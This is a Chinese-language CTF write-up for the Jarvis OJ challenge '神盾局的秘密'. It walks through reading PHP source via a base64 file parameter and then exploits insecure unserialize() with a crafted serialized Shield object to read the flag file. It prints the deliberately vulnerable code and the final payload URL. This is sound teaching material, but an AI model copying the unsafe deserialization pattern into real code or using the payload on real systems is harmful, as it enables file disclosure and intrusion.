Jarvis OJ 神盾局的秘密

这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?

打开题目发现是一张图片,通过查看源代码得到<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>打开后发现应该是图片的十六进制编码并且img后面是base64编码过的,解码为shield.jpg应该是一个文件包含漏洞试下showimg.php得到

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>

通过GET传入一个img参数,然后经过base64解码不能包含.. / pctf

stripos : 查找字符串首次出现的位置(不区分大小写)
readfile : 输出文件

再查看下index.php得到

1
2
3
4
5
6
7
8
9
10
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

包含一个shield.php,传入一个class参数且对其进行反序列化

require_once : 进行一次文件包含且如果文件已经被包含不会再次包含
unserialize : 对单一的已序列化的变量进行操作,将其转换回 PHP 的值

继续查看下shield.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

发现在shield.php中有一个readfile方法那么就可以通过序列化创建一个shield对象然后在传给class参数,并且在index中进行反序列化,进而调用shield对象中的readfile方法。

1
2
3
4
5
6
7
8
9
10
11
<?php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
}
$shield = new Shield('pctf.php');
echo serialize($shield);
?>

返回O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}传给class
最终payload为:

http://web.jarvisoj.com:32768/?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}